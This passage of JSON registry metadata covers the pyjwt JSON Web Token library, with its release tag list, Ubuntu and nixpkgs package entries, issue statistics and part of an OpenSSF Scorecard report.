0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.373Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pyjwt?arch=source\u0026distro=ubuntu-22.04\u0026repository_url=https://launchpad.net/ubuntu/jammy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"ubuntu-22.04","url":"https://launchpad.net/ubuntu/jammy","ecosystem":"ubuntu","default":false,"packages_count":34289,"maintainers_count":0,"namespaces_count":4,"keywords_count":1523,"github":"ubuntu","metadata":{"codename":"jammy","funded_packages_count":167},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:46.486Z","updated_at":"2026-06-10T05:17:45.610Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/namespaces"}},{"id":13206351,"name":"python312Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T01:06:15.747Z","latest_release_published_at":"2026-02-02T01:06:15.747Z","latest_release_number":"2.8.0","last_synced_at":"2026-05-19T13:08:25.751Z","created_at":"2026-02-02T01:06:15.313Z","updated_at":"2026-05-29T04:00:36.370Z","registry_url":"https://search.nixos.org/packages?channel=24.05\u0026query=python312Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python312Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/development/python-modules/pyjwt/default.nix#L58","metadata":{"nix_attribute":"python3.12-pyjwt-2.8.0","position":"pkgs/development/python-modules/pyjwt/default.nix:58","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the 